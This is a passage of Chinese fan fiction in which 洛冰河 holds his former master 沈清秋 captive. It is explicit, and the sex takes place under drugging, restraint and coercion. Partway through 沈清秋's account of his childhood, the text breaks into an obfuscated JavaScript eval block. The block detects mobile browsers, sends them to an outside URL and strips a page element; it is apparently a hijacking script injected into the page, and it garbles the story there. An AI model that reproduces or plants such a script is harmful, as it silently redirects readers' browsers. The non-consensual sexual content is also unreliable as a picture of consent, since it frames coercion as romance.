这样的罪责过于严重。清静峰被烧、苍穹山被灭门、整个修真界的传承都被断得一干二净;魔族那些没脑子的玩意更是趁机潜入尘世,妖神乱世、群魔乱舞,偏生最后引领众人的,还是个对人族没有好感的半魔。 这样举目苍夷的世界,迟早会被断送在洛冰河手中。而到那个时候,别说断了传承的修真界,也别说半点反抗能力都没有的凡人,就连现在耀武扬威的魔族——也得死。 只是可笑的是,眼前这个所谓的‘三界至尊’什么也看不出来,竟然还执着的要和他玩情感游戏,非要拿着‘弟子’的身份牌玩骑师犯上的过家家。 洛冰河看眼已经被抓的血肉模糊的胳膊,又看看沈清秋明显又走神的表情,腰间猛的发力,将人紧紧抱在怀里: “您啊,明明是您造就了弟子,却始终不愿意为自己的过错道歉呢。现在还将错误推到弟子血脉身上,就因为弟子的血脉是天魔,您就直接将弟子打成万恶不赦,弟子实在委屈啊。” 感受着温内有些痉挛,洛冰河对着沈清秋右肩颈窝轻轻咬了一口。看着对方下意识颤抖退缩的样子,知道对方应该到了临界点。洛冰河抓住沈清秋因承受不住快意而颤抖的肩膀,执着得盯着对方的眼睛:“知道错了吗,师尊?” “劳资何错之有!”沈清秋的神魂有些迷昏,咽喉中传出被压抑的喘息,脸上升起难忍的红晕,兀自颤抖中下意识躲避洛冰河的接触。他们两个的思想完全不在一个平台,洛冰河究竟知不知道自己都干了些什么错事! 沈清秋就算是认错,也是错在没有提早清理门户,让这样的祸害活了下来! “……”这事真是没得完了。 洛冰河看着完全拒绝配合的沈清秋,心中无端想象到其他世界里他为岳清源而发疯崩溃,这个世界里因岳清源而灵魂沉寂的样子,莫名的怨怼就像是陈年老醋,令他下意识冷刺: “您不就是觉得弟子坑杀了苍穹山的人,将您身边的一切都屠戮殆尽?苍穹山乃修真界第一大派,随着他的土崩瓦解,修真界其他三派必然也难逃被剿灭的下场。至于剩下的那些咸鱼杂虾则完全没办法组织起有效反击力量,修真界大能与精锐都被留在战场之上,断了层的传承与灭族无异。” “!!!”你怎么知道? 沈清秋震惊的看着洛冰河,完全不理解为什么洛冰河会知道的这么清楚,又如此轻易的说出这些。他原以为洛冰河只是执着于没得到的师徒情,非要逼着他一起玩过家家进行弥补。 可现在看来,洛冰河知道的,未免太多了—— 他不仅了解他的外部喜好,甚至连为什么厌恶自己、为什么讨厌洛冰河、为什么非要拼尽全力与他划清界限、为什么非要赶赴黄泉,都了解的一清二楚。 这样的敌人,未免太可怕了些。 ‘哎。’洛冰河实在是不想在与沈清秋的洞房花烛夜讨论这些,但对方的心思完全不在他的身上,甚至还觉得他心里只有情和爱,这实在是——太小看他了。 既然如此,那就换个话题,干脆以‘修生养息’为由头,想办法让沈清秋与这个世界重建联系吧。一个是以恨意支撑,一个是对世界的未来期许,只要能达成让‘沈清秋留下’的结果,中途的过程随时可以更换。 第九章谁不曾想为天下请命呢 洛冰河抓住沈清秋的肩膀,气息有些不稳: “您幼年时为生活争抢得头破血流;少年时又看透了富贵人家的骄奢淫逸、腐烂内里;等好不容易能为苍生做点什么,又养出弟子这样灭世的魔头,还被世人说恶毒冷漠、忘恩负义、刻薄寡恩。” “可即便如此,您还是觉得,是自己负了天下,要以死谢罪,用自己换取其他人存活吗?” 沈清秋将喘息牢牢压在咽喉,汗水已将被褥尽皆沁湿。被解开的手腕撑在被子上,指甲将布锦抓出大大小小的孔洞:“我这样满身脏污的死,倒也合适。” “弟子就知道,您才不会为那些人献上自己。您跟弟子说这些,是希望弟子好好统治所属区域?” “你怨恨我理所应当,想要欺压折辱亦是天经地义。”沈清秋大口呼吸着,想躲开对方,挣扎着将话语说完:“苍生无错,身为君王,你该善待自己的臣民。” “师尊,弟子想问清楚,您这是欲拒还迎,还是欲语还休?” “不是——”沈清秋有些嘶哑的张口欲言,别样的感觉却使他发出缠绵甜蜜的喘息和吟。这些声音太过臊人,沈清秋立刻用牙齿咬着下唇,阻断后续发出。 “师尊别害羞。”看着溢出眼泪、下唇都要被咬破的沈清秋,洛冰河脑海中突然出现‘灼灼桃花’的赞叹。世人常将这样的样貌称为‘娇媚’和‘风情’,他师尊此时此刻当真是勾人得紧。 热气四处散逸,沈清秋的脸上避无可避的浮现出熏染成水雾的春意。只是‘求’这个字太刺耳,沈清秋宁可当即死去,也不愿在此时露怯。 洛冰河这个混账,打得就是让他遭受不住后服软、让他主动说出羞耻低俗话语的主意,他若是真说了,不正中对方下怀? “好吧。”洛冰河也不忍心沈清秋因这事伤身,手掌贴在沈清秋发烫的脸颊,另一只手细致的擦干沈清秋眼角的泪水: “那师尊给弟子道个错,弟子就替师尊解决。弟子虽比不得师尊半生凄苦,但弟子痛苦的缘由是师尊造成,这个师尊总是没得辩驳吧?” 虽然根本原因是天道的‘设定’和‘剧本’,但沈清秋是施行人,洛冰河让沈清秋道个歉,此后便一笔勾销,不再纠结于此。 “我早该……”沈清秋刚张口,便被洛冰河直接吻住。那些未曾讲完的诛心之论,洛冰河一个字也不想听。 沈清秋从不觉得后悔。 甚至还想早早弄死他,更是恨不得从不曾遇见他。 这样的话语,洛冰河不会允许它出现。 两条舌头如山间小鹿般灵动奔逃,掩不住的稀碎喘息通过骨骼传导到耳膜,沈清秋的身子早就到了极致,一个吻便让他溃不成军。 下方的魔气被撤除,沈清秋手腕一软,向床铺载去。 洛冰河将瘫软的沈清秋侧躺着抱在怀里,对方的肩膀被自己牢牢榄住,下巴蹭过沈清秋的颈窝,感受着对方因乏力而紧贴的温度。人被揉碎在怀里轻柔喘息。 沈清秋的血脉中有洛冰河的血,沈清秋的体内有洛冰河的根深蒂固,沈清秋的心中…… 他的天神,终于被他榄在了怀中,融进了骨里。 想起来这个,洛冰河的飞醋漫天,开始趁着对方精神不振悄咪咪诱导:“师尊,您替那么多人思考,却为何从不想念自己?” “我没有。” “还说没有。”洛冰河用脸颊蹭了蹭对方的脖子,说一句亲一口:“您当时都那么狼狈了,还有护着宁嘤嘤那个胳膊肘往外拐的傻子。” “而且您清醒的第一句话,也是为了宁嘤嘤。” “世人都说你为师不仁责打明帆,明帆却拖着病体拦在清静峰山门外,多么有情有义。”想到这里,洛冰河亲的时候忍不住露出牙齿磨着沈清秋脖颈上的皮肤: “但是,如果让师尊重新来过,师尊只会将明帆打得更狠一些,直接让他昏迷个十天半个月,养上一年半载的伤才对吧?” 沈清秋耐不住对方的耳鼻厮磨,洛冰河的小虎牙有些尖锐,虽不会咬破皮肤,但却带来被钝物摸索的感觉。他略略向前伸头,躲开洛冰河的‘磨牙’。 却被洛冰河直接摁回来,加大力度咬了一口,继续幽怨道:“清静峰就不说了,说说您的掌门师兄岳清源,您可是为了他连精神都崩溃,灵魂都沉寂到浑浑噩噩了。若是那时候弟子趁虚而入,以岳掌门的灵魂与您交易,您怕早就是弟子的囊中之物,哪里需要弟子废这么大力气?” “他,不一样。”沈清秋肩膀向上抬起,试探将在自己脖子旁来回撕咬的狗东西挤走。 “那柳清歌呢?”洛冰河没被压着的手向上滑动,对沈清秋蠢蠢欲动:“那个早死的家伙,如果他还活着,没事就要挑衅弟子,您会帮谁?” 沈清秋察觉到对方的打算,看着从腰间向上划的手指,连忙将他拍下去:“他早死了!” “可是您是去救他的吧?”洛冰河反手将沈清秋的手掌抓在手心,用手指在他手心画着圆:“既然是救人,又为何蒙受不白之冤?” “因为您觉得,没人会信吗?” 沈清秋沉默良久,最终没有答话。洛冰河看见他这个样子,心中又气又怒,疼痛将沈清秋的思绪拉扯回来。 “师尊。您是清静峰之主,是苍穹山明面上的战力第二,是天下闻名的修雅剑。” “可是您考虑了清静峰,考虑了苍穹山,考虑了修真界,考虑了凡尘百姓。甚至考虑了弟子对您的仇恨,甘愿用自己赔罪。却为何……” 洛冰河的头埋在沈清秋后背,声音沉闷:“不考虑自己。” 若不是沈清秋从不考虑他自己,洛冰河又何必用其他人的性命逼迫。若不是沈清秋对自身的厌弃过重,洛冰河也没必要强行将沈清秋压在身下,通过撕毁他的身躯唤起沈清秋对他的恨。 “……”人非草木,孰能无情。 洛冰河之前对沈清秋施加外部伤害,现在又将他里里外外痛彻心扉。就是为了激起他的恨意。 可沈清秋前半生画地为牢,后半生又因恶意反噬而遭难。现在还想让他汲取仇恨存活,未免太苦了。 感受着背后之人沉闷的喘气,还有后背有别于汗意的潮湿。即便对方的东西还插在自己体内,沈清秋还是下意识感到了被人在乎的感觉。 别管对方之前做了什么。 这一刻,洛冰河是为沈清秋而哭。 为他觉得不公。 为他觉得愤恨。 为他觉得应该反抗,应该反驳,应该大声将不满说出去,将仇恨全部回敬给对方。 这样诚挚的感情,确实令人心动。 洛冰河说之前曾将他当成天神,小心翼翼的捧着爱意靠近,却被他摔个稀巴烂。 可沈清秋位居高位,这样的爱意他拒绝洛没有上千也有数百,若不从一开始就断绝对方的念头,等这变异不该的情谊生了根,便是十恶不赦的大事。 所以沈清秋不会为此道歉,亦不会觉得自己做错了什么。 现在的洛冰河又一次将心捧上,小心谨慎的谋划,一步一步的引发入局,希望将仇恨转移到他的身上,让沈清秋因为恨他而留在世间。 现在,更是设身处地的替沈清秋悲伤,替沈清秋难过,替沈清秋悲愤,为沈清秋而哭。 情况看起来相似,都是少年人将心意捧起后希望他收下。可内部逻辑与外边环境却完全不同。 身处顺风顺水的沈峰主不会去辩驳对方究竟是什么心思。他只需要一视同仁的抹杀就好。 现在的阶下囚沈清秋处于低位,他本打算直接寻死,就在这时,再次收到对方毫无保留的爱意。 锦上添花易,雪中送炭难。 同一个人,分两次将爱意碰上,沈清秋很难不触动。 只是沈清秋现在也不能确定对方真正的心思——洛冰河站的太高了,沈清秋又被踩得太低了。猫哭耗子、黄鼠狼给鸡拜年的事情又不是没有,沈清秋又怎么可能通过小恩小惠、一点泪水就完全信任对方? 听着身后人开始擤鼻涕,沈清秋张口,开始讲故事。 “我小时候过得不好。所以想长大后让其他人好一些。” “但是所有人都笑话我。认为一个靠别人施舍才能长大的乞丐,居然想有一天施舍别人。” “他们以为我想权势金钱想疯了,说要我卖进男倌当龟工,用男人最肮脏的东西好好洗洗我的脑子。” “我那时不知道龟工是什么。只是觉得能被人用来耻笑,必然不是好东西。” “直到我看见被卖到勾栏的大姐,满身青紫、布满伤痕的用薄席一卷,丢到了乱尸岗。” “我将大姐的失身捡回去,在一处山清水秀的地方挖了个坑。希望他来事投个好胎 ” “我将这件事告诉岳七,岳七说想要不成为那样,就要有本身傍身。正巧叫我们术法的道士提到过一百公路外有座小镇,里面有修真门派的招录。还有一个月,就是找人的时期。我们约好了要去拜师。岳七却希望带大家一起去。” 沈清秋的话突然停了下来,身体有些颤抖。洛冰河将沈清秋掰过来:“不愿意想,就别想了。” 沈清秋蜷起身子,将膝盖收拢到胸前——这是一个标准的、没有安全感的动作。 洛冰河只好也弯起身子,尽可能将这一团揽在怀里。 “岳七为了十五得罪了世家公子。即便那个十五偷过我的馒头、骂过我娘娘腔、伙同其他人跟我抢过地盘。” “但他罪不至死 。” “我们内部无论怎么闹,在外都是肆意被打杀的乞丐。谁不想危难之时有人来救?为了保证下一个被人抓住的人不是岳七,我对小公子的马腿下手了。” “平日里人来人往那么多人,磕磕碰碰都是常事。但秋府公子在街道摔伤可是大事,官差一下子就抓住了我们,扭送到秋家。” “那门可真高。那时候我想,就算是皇帝住的院子,也就这样了吧?” “朱门酒肉臭,路有冻死骨。富贵人家的奢侈与私底下的肮脏贫民根本想象不到。我们这些乞丐,又怎敢与世家大族争辉?” “岳七搁着门缝见我,说去碰碰运气。没准就学成个大本事,让秋家毕恭毕敬的将他送出来。” “结果想必你从秋海棠哪里知道了,我杀了秋少爷,与散修无炎子行知天下,坏事干劲。” “可我总归是有些气运的。所以一路爬,爬上峰主位后,以为能做点什么。却发现我做了什么好事,将来一定会变成坏事。” “甚至与我接触过深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231298|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,也会莫名其妙倒霉。” “所以我从小就现在改变这世道,最后世道没改变,我爬上最高位,也改不了。” “是不是很惨?很不适合当成奋斗故事听?” 讲到最后,沈清秋的眼睛一点点失去神采,就像是所有怀揣梦想而被世俗打压的人。 洛冰河将人抱在怀里,轻轻的拍着他的肩膀。 所有人被看透灵魂底色时都会发抖。 那是他们掩藏极深、最不能容忍他人试探的柔软内在。 为了掩盖这些东西,世人往往会想方设法的为自己增加无数人设和壳子。而当他们被人‘揭穿’时,就会恼羞成怒的胡言乱语,被旁人同一句‘你也不想……’给控住。 沈清秋的人设由天道制定,他的灵魂底色却由自己打磨。即便遭受世间恶意,养出孤僻淡漠的清冷外表,心中对世间的热爱,依旧滚烫如初。 可世事难料,即便是沈清秋心怀天下,他独有的特质就注定他什么也做不了。 亲身帮人总会出现意外,即便是不出现意外,没办法改变整体的世道,所以曾经被他救下来的人,又会在另一个坎摔下去。 好心付出却总是会被误解,尤其是他不帮助柳清歌,柳清歌不一定死。可他进去了,柳清歌死在修雅剑下,沈清秋一辈子洗不干净。 到了后半生,沈清秋被洛冰河所擒,成为地牢里的孤魂、尘世间的野鬼。现在更是成为被迫承宠的床奴,被压在他人怀中,满身污浊之下,居然还想拯救世人? 可笑他连自己都救不了,又如何能实现心中抱负?这时候被洛冰河点出来沈清秋心中不切实际的幻想,除了被人拿出来狠狠的摔在地上踩烂,谁又会在乎它曾经被沈清秋多么小心翼翼的保护着? 这样的人生,这样的妄想,这样的大言不惭、好高骛远,真是从小就被人骂的够够了。 就因为其他人不敢想,所以就要求乞丐九也不能有。就因为他没办法送佛送到西,所以从一开始就该尊重个人命运。就因为沈清秋养出一个灭世魔头,所以他教出来的其他弟子亦是品行恶劣。 都说天道好轮回,真理掌握在少数人手中。可是众口铄金、积毁销骨,谁又会去在乎一个被众人唾弃之人,究竟说了什么话,犯下何等的弥天大罪? 世人总是盲从者多,当一个人被指出了有罪的时候,即便是站着不动也是有罪的。批判者总是有道理的,绞尽脑汁的上纲上线、气势汹汹的言谈辞论都会为‘罪人’编制好名为‘错误’的天罗地网。 沈清秋是个被所有人认定的‘恶劣人渣’,即便是有理有据的反驳,也会认定为胡言乱语的巧言善变、巧舌弹簧。 这是整个修真界的通病,是巨大的时代洪流下落下的砂尘。单凭沈清秋一个人的力量,根本无力解决整个世界观创造的悲剧。 而沈清秋这个明明不该天真却天真了一辈子、明明不该心软却因一时心软酿成大祸的人,确实不配干干净净的走。 —————— —————— “师尊,您记恨弟子灭世,但弟子现在确实是三界的主人。您要不要考虑讨好一下弟子,弟子替您推行天下为公?” “!” 沈清秋的瞳孔突然放大,里面有炫彩闪过。儿时的梦想总是天真烂漫,与其他人只想吃饱穿暖相比,他总是被人说不切实际。就算是各方面都照顾自己的岳七,也总是劝诫他不要跟人打架闹矛盾,多从自己身上找原因。 找原因,找原因。 他根本没有错,何来的因? 是这个世道如同择人而噬的凶兽,将人的柔情、诚信、踏实、真诚吞吃一通,那些天真的、愚蠢的、忠诚的、单纯的全部被杀死,只剩下他们这些歹毒凶恶、手握献血、为达目的不择手段的幸存者艰难存活。 体内心口突然跳了一下,提醒他在真实的世界中,他依旧是连死亡资格都失去的床奴。而现在的沈清秋,别说实现从儿时就种下的心愿,连现在以死成全尊严都做不到。 面对洛冰河直愣愣盯着他的视线,沈清秋低下眼皮,嘶哑的声音并不抱什么希望。只是该死的期待和不知为何生出的侥幸让他想要开口询问。 他已沦落至此,洛冰河让他失去家园和亲朋好友后又将他里里外外搞脏,现如今他还怕什么呢?或者说,洛冰河还有什么没使出来的手段,还想用什么方式来折辱他? 彻底跌落尘埃,被人看穿曾经妄想后,沈清秋反倒看开了。他既然没什么能失去的,现在又能怕什么?故而他回望着洛冰河,尽可能平淡的问到:“你要什么。” 洛冰河的瞳孔黝黑异常,里面清清楚楚的倒映着沈清秋的脸,甚至说连沈清秋此刻极力维持平静却明显抱有期待的表情都那么清晰: “师尊主动亲弟子一下,本尊主就准了您的上奏。” ‘?’沈清秋简直有些不敢相信自己的耳朵。 若不是他腰间软肉还在被人慢悠悠的揉捏,若不是他体内的撕裂感无时无刻都在彰显与他主人一样强烈的存在感,沈清秋简直以为自己在做梦。 洛冰河在给予他那么多的痛苦,回馈给他‘曾经遭受的一切’后,完全不顾他的反抗,步步为营、机关算尽,将他一夜之间搞成这个样子。 他还以为洛冰河会要求他主动承受宠欢、各种求饶,甚至挑战他的心理底线、做些他完全不能接受的事情,可他却提出这么简单的要求? 沈清秋眼中存在完全不能理解的迷茫,洛冰河的所作所为已经超出了他的思维范畴,更不像是他们这样的关系中会说出的语论: “为何——”沈清秋轻微歪头,眼底的疑惑和试探叠加,开始计算洛冰河的真实想法。 能令洛冰河发生这么大的转变,其中必然有他不了解的底层逻辑。而这个‘转折点’若是能被沈清秋掌控,就是他的筹码。 洛冰河看着眼中死意消散,甚至开始‘研究’打算拿捏他的沈清秋,眼中闪过一丝笑。他师尊可是天底下最聪明的人,这才刚刚看到希望,立刻就打算顺杆子爬了呢。 洛冰河将沈清秋的左手牵过来,与他心心念念那么久的人,食指对着食指,中指对中指的一个个对照整齐,然后稍微侧个手,顺着指缝与沈清秋的手掌紧紧相连: “为众人抱薪者,不可使其冻毙于风雪。”洛冰河难得的正经,眼里的欣赏毫不遮掩:“师尊既有心谋大事,就不该寄希望于旁人。您若是愿意,弟子尊您为国师,掌文学教育。” 沈清秋的眼中突然蒙上一层水雾,眼前的一切都变得朦胧起来。 若非这个场合不对,沈清秋竟以为回到了清静峰。回到了他当初刚入清静峰时,那个温柔摸着他头顶的老峰主,在茶香四溢的案台上对他说‘好孩子,很有想法。’ 那是乞丐九第一次被人确定妄想亦有存在意义,一样可以试着将它成真。也是乞丐九第一次在隔辈中感受到温情,被人问‘走了这么远的路,喝杯茶暖暖身子’。 掌心的湿意滋发出粘稠感,十指交叉的手缝间摩擦令他有些发痒。沈清秋将眼前的雾气眨掉,看眼与洛冰河十指相扣的左手: “我……” 话刚出口,却又不知道该问什么。 这种感觉太奇怪了。就像是对方真的能理解他的理念,明白他长久以来的妄想,愿意站在他的背后去支持他放手去干一样。 但是他与洛冰河严格意义上并没怎么接触,甚至关系可以算作互相作恶、相互亏欠。洛冰河为什么会相信他? 甚至于,一开始洛冰河对他展示的那些东西,未免也太过投他所好,顺他心意了。 “一人之上、万万人之下。如果这样的地位都不能施展您的抱负,您就杀死弟子,代行天道职责。” 洛冰河将与沈清秋的左手叠在一起的右手收回、放到心口上,看着沈清秋面色复杂的神情,另一只手干脆将对方拉倒自己怀里,将他师尊的头颅压在心脏处。 接着洛冰河轻轻拍了拍对方的后背,将自己的下巴卡在对方的肩窝上: “您若是再拒绝弟子,执意寻死。弟子只好征战冥界,搞个六界主宰当当了。” “……” 厚重而有力的心脏跳动声在耳边响起,沈清秋的头颅被安排在对方怀里,左手与洛冰河相扣着放在洛冰河心口,能够清晰的感受洛冰河坚实的胸膛和温热的体温。 对方不仅对他不设防,还刻意坦露。 虽说两人都是赤刺/条条,但洛冰河这样打直球,将他按在怀里表达爱意,确实令沈清秋有些震惊。震惊之余,异样的被关怀情感从心头生起,顺着对方的手心传递着暖流。 他也能被人关爱吗。 沈清秋也可以有人毫无保留的信任,不担心被他插刀、不害怕被他的厄运牵连? 虽说他与洛冰河之间搁着许多人的性命和被颠覆灭世的苦痛,但此时此刻,就让他沉沦一会,多感受一下被坚定选择的,温暖吧。 洛冰河隐约感到胸口有点湿。 虽然洛冰河很希望他能师尊主动舔或者咬他一口,但很明显他们之间还没到那个地步,沈清秋也做不出这样的事情。 那就只有一种可能了。 沈清秋被他感动的哭了。 绝对不是网络上那种‘女友看见感动的流泪’的低廉礼物哭。 十有八九是不知道那个点触动了沈清秋,所以他才默默的在弟子怀里哭泣。仗着他弟子肯定不会揭穿,将洛冰河的心口弄湿。 至于洛冰河究竟会不会揭穿呢…… 不仅会,还很会煞风景:“师尊啊,弟子还等着您自动献吻呢。是生是死的,您倒是给个回话啊。” 沈清秋眨了下眼睛,忽的将眼皮紧闭,向前猛的冲过去,额头砸在洛冰河不知道哪里的骨头上,薄唇蜻蜓点水般于洛冰河脸颊飘过。 虽说这个场景极有可能是在骗他,虽然说连脸上绒毛都没感觉到,沈清秋还是那么做了。 死都不怕,怕活着吗? 大不了。就是被推入更底层的深渊,被对方嘲笑蝼蚁岂敢翻天、萤火之光岂敢与日月争辉。 “……”洛冰河看着‘视死如归’‘不敢睁眼’的沈清秋,知道他是怕被骗。 沈清秋总会在付出希冀后被人打碎希望,付出好意后得到极为糟糕的回应。久而久之,他便学会了不再轻易将信任交出,给人帮忙时尽量让其他人出手。 沈清秋很冷淡,因为沈清秋被天道定下基调,所有亲近之人乃至偶然遇见之人,都会因接触他而横遭厄运。这样的‘气运’下,沈清秋除了离群索居,别无他法。 所以‘沈清秋’冷漠高傲、尖酸刻薄、从不主动与人联系,更不会做帮助他人、友爱亲朋的事情。 所以,也从不曾有人,主动接近于他、无条件的相信于他,更无人站出来为他说句公道话。 洛冰河给他勾画的未来太美好,需要付出的代价亦不高。沈清秋不相信自己会撞大运,也不敢信洛冰河能给他这个‘失败的教育者’机会。 甚至说,在沈清秋闭上眼‘砸向’洛冰河的时候,沈清秋已经给出了自己最大的信任。 这就是他的师尊沈清秋。天道给他设定了恶毒人设和悲惨过往,沈清秋凭自己走出一条青云之路。 若不是洛冰河过于超纲,沈清秋本就是天上明月光、世俗谪仙人啊。 洛冰河原本还想让对方将恨意投注到自己身上,替他承接着这份因果。可沈清秋的意志永远是那么极端,完全不可能因为柔情或威胁停留或死亡。 最后令沈清秋坚持活下来的,居然是对天下苍生的爱。 何为‘侠’? 食天下之供奉,为苍生而请命。 为世间不平事而拔剑、为璀璨星光而感慨,居九州之巅而除魔卫道、处泥坑深渊而艰难求存。 洛冰河看着久久不敢睁眼的沈清秋,揉了揉自己被撞的生疼的下巴—— 沈清秋可真有能耐,让他主动亲自己,结果沈清秋的额头砸在洛冰河下巴上,看着是沈清秋主动,最后亲人的还是洛冰河。 算了算了。他师尊脸皮薄,剩下的他来解决就好。 洛冰河一伸胳膊,将人捞在自己怀里,小心翼翼的对着那双薄唇,一点点探进去。 沈清秋浑身一震,眼睛闭得更紧。那双薄唇更是死死抿着,浑身发抖。 他就知道,洛冰河的要求不可能那么简单……甚至很大可能在将他玩成一摊烂泥后,再度将他丢入暗无天日的地牢中。 洛冰河磨了半天,沈清秋就是紧闭着双唇,怎么都敲不开门。无奈之下只好扒开对方的眼皮,一字一句郑重承诺: “师尊,弟子答应了。明天中午前,您将奏折交给弟子,会有专人负责这件事。” 看着沈清秋突然睁开、有着明显高兴情绪的双眼,洛冰河跟着露出一个笑容:“师尊,现在可以配合弟子了吗?” 沈清秋的眼神瞬间从兴奋变成了羞耻,黑白分明的瞳孔左顾右盼,就是不愿意看向洛冰河。洛冰河瞅着沈清秋难得的‘娇羞’模样,在他脸颊上左右琢了一下,终于敲开了之前非要用大力才能撬开的双唇。 ———— “唔……”沈清秋发出一声压抑不住的闷哼,随着药效的减退,疲劳感和沉重感一同上涌,虚脱无力的手指连抬起的力量都没有。 “师尊,您方才已经答应弟子,弟子会让人准备好笔墨纸砚。若是明日午时前弟子看不见您写好的‘奏折’,想要呈报的话,需要您有感情的讲诉给弟子听。” 洛冰河几道法术将床榻收拾干净,抱着人去浴室小心清理。 他师尊是处次,他用了一下午加一整晚的时间将他从里而外的占据。疲劳过度的仙尊和手无缚鸡之力的凡人没有区别,过度的疼痛和虚弱使他陷入沉睡。 好消息,沈清秋是个心怀天下的侠士。所以当沈清秋明确表现出对洛冰河行事不喜后,洛冰河乘胜追击,要沈清秋当自己的国师。 洛冰河一开始定的计策还是有些偏差,他以为‘将沈清秋对自己过错的厌恶’修正为‘对洛冰河的恨’能‘改变沈清秋求死’的现状。 实际上有效果,但不多。 沈清秋和他不同,洛冰河无论如何都会走上征战天下的道路,沈清秋对他的恶劣只是给洛冰河一个‘仇恨’的契机而已。 沈清秋却没办法仅仅因为‘想杀死洛冰河’而重新唤醒生机。用沈清秋的话说就是:“杀了你一个,会出现无数赵冰河、钱冰河、孙冰河……” 沈清秋想做的,是改变修真界弱肉强食、肆意欺压弱者、为争抢机缘而随意弑杀的现状。 只是这个目标很远大,即便是爬上修真界第一大派第二峰主位,他也只能庇护一方。还因为被洛冰河拉下水,他之前教出来的‘弟子们’,也因为他被人质疑,再也不能肆无忌惮的推行侠义。 所以。当洛冰河用‘沈清秋主动亲他一口、洛冰河就允许他上请书奏折’诱惑沈清秋时,沈清秋如遭雷劈的脸和青涩飞快的吻,令洛冰河忍不住将人揉在怀里,狠狠欺负到晕厥。 坏消息嘛。 以沈清秋现在的精神状态来说,怕是不睡个三天三夜,是不可能清醒的。 所以他向洛冰河‘承诺’的‘奏折’,估计要被洛冰河好好抱在怀里,带着‘感情’的口诉了。 39.番外 一些歪倒与正文不知道飞哪的片段 番外:九吐冰一身血的开展 在洛冰河的一番努力下,沈清秋……吐了。 感受到对方喉头和胸腹突然抽搐,洛冰河眼皮一跳,被对方猛的吐了一身。顾不及震惊,洛冰河立刻用魔力将沈清秋手腕上的发带震断,带着对方来到床边。小心的扶着沈清秋的后背,嘴角抽搐: 很好,他师尊……对男人的厌恶程度,是还没来得及干什么,就要吐的程度。 这样的人,别说让他跟他合欢,即便是叠了下药、调/清、强制爱,出于骨子里的本能,也是厌恶到极致的。 可是即便是这样的沈清秋,在其他无数的世界里,却被‘洛冰河’以各种强迫折磨和手段,欺压到将近灵魂破碎。 明知不可为而为之;明知该高高捧起而踩入泥潭。他们之间有相互的仇恨、有年少不可得和过于相似的性情背景、有剪不断的恩怨纠缠。 将上位者拉下神坛,将年长者拥入怀中,将一贯忽视与不喜之人狠狠压在身下,看着他因强权和武力转变心意。才是世人希望看见的结局。 “好了好了,是弟子错了。” 洛冰河想起其他世界的成功典例,心里很期待。可当他回想起更多被折腾成破碎布偶的‘沈清秋’,心中又满是抽疼。 责打与强压固然有效,可若是感情必须通过折去对方的骨头才能完成,对沈清秋来说该是多么痛苦? 得到一个人,并不一定需要,走完那一步吧?只要沈清秋愿意看他,不再寻死觅活,哪怕是天天跟他对打,天天玩‘你逃我追’的游戏,也是无所谓的。 看着吐完饭开始吐血的沈清秋,洛冰河从旁边取来一杯清茶,有些紧张的看着沈清秋——很早之前,他也曾给对方递过茶的。只是…… “滚开。”沈清秋哑着嗓子,将身边的玩意推开:这狗东西将他搞成这样,又假惺惺的给他拍背喂水,以为这些小恩小惠就能收买他? “师尊,是弟子的错,您且漱口。”洛冰河很执着。关于‘递茶’与‘白粥’,他总是有些迷一样的执念。 这其中一个是未完成的拜师礼,一个是养母最后的心愿。但凡沈清秋能‘弥补’其他任意一件,他都会放弃所有计划与算计,只全心全意为对方送上最需要和最想要的东西——包括他的性命。 只是……沈清秋的状态即便是差到极限,整个人满是虚汗、面色苍白,单手支在床沿摇摇欲坠——依旧伸出胳膊,将洛冰河手中的茶盏打碎:“滚!” “……” 洛冰河不信邪,沈清秋都吐成这样了,喝口水漱口是多么正常且正确的事情,沈清秋为什么拒绝?故而,洛冰河再次向虚弱狂吐的沈清秋嘴边送。 回应他的,是清脆的瓷杯被打碎的声音。 “……” “!!!” 洛冰河实在是怒了!这家伙是真的软硬不吃啊!或者说,这家伙是真的,只能靠武力强压才能有那么几丝可能性征服啊! 这tm自己的下场不都是作的吗? 好心劝导死活不听,威逼利诱全部没毛用,最后洛冰河只能凭武力猛,好不容易到最后一步了,沈清秋愣是被恶心吐了! 所以其他的世界里,沈清秋究竟是下了多大的决心,又压制了多久的情绪,才能忍受那么多的欺压凌辱,甚至还能跟完全不能接受的同性之人携手啊。 那些所谓的he结局,完完全全是沈清秋打碎牙齿和淤血往肚子里咽,压下无数不甘与愤恨,用一个人的全部忍耐与一降再降的底线,去扭曲出一个看起来美满的结局吧? “……”沉默,是今晚的康桥。 洛冰河看着一吐再吐的沈清秋,又看看地上被摔碎的杯子碎片,极度的无语之下,他竟然诡异的心平气和了。 都这个样子了,除了将人送到浴室去清洗,接着将屋子收拾干净,完全没有第二条路啊。他又不是什么急/色之人,伴侣都抗拒成这样了,还要硬拉着对方搞那档子事吧? “师尊,弟子带您去沐浴。”洛冰河其实很想借对方搞这一地狼籍‘教训’‘惩罚’一番,但最后还是心疼占了上风。 他在别的世界里看到过,‘沈清秋’因‘洛冰河’的粗暴而呕吐、吐血,‘洛冰河’认为对方在用这种方式反抗,继而比之前更加猛烈,最后还将‘沈清秋’与污垢丢在一起,几天都不带清理的。 不用想,先是身心受到巨大冲击,又是与这些秽物一起待上几天;不说神志受损到呆愣,心理阴影和发自内心的恐惧,是免不了的。 “滚……”沈清秋肩膀紧绷,支撑着自身的右手微微发颤,左手成拳不停敲击胸口。毕竟在地牢太久了,身体虚弱不说,白日里和前半夜又跟洛冰河各种对抗,仅剩的体力和能量都不够支撑他现在的状态。 洛冰河轻轻松松的将人抱起来,之前衣服上全是沈清秋吐的,所以第一时间就被清除。沈清秋就更不用说了,全身上下唯一算得上布料的就是之前用来捆手的绑带,还在情急之下被洛冰河直接震断了。 两人皆是不/着/寸/缕,洛冰河抱着沈清秋消瘦的细腰与肩膀,一把将人捞起来。沈清秋先是下意识肘击,在洛冰河不满的拍了一下屁股后,脸上浮起红晕:“小畜生!” 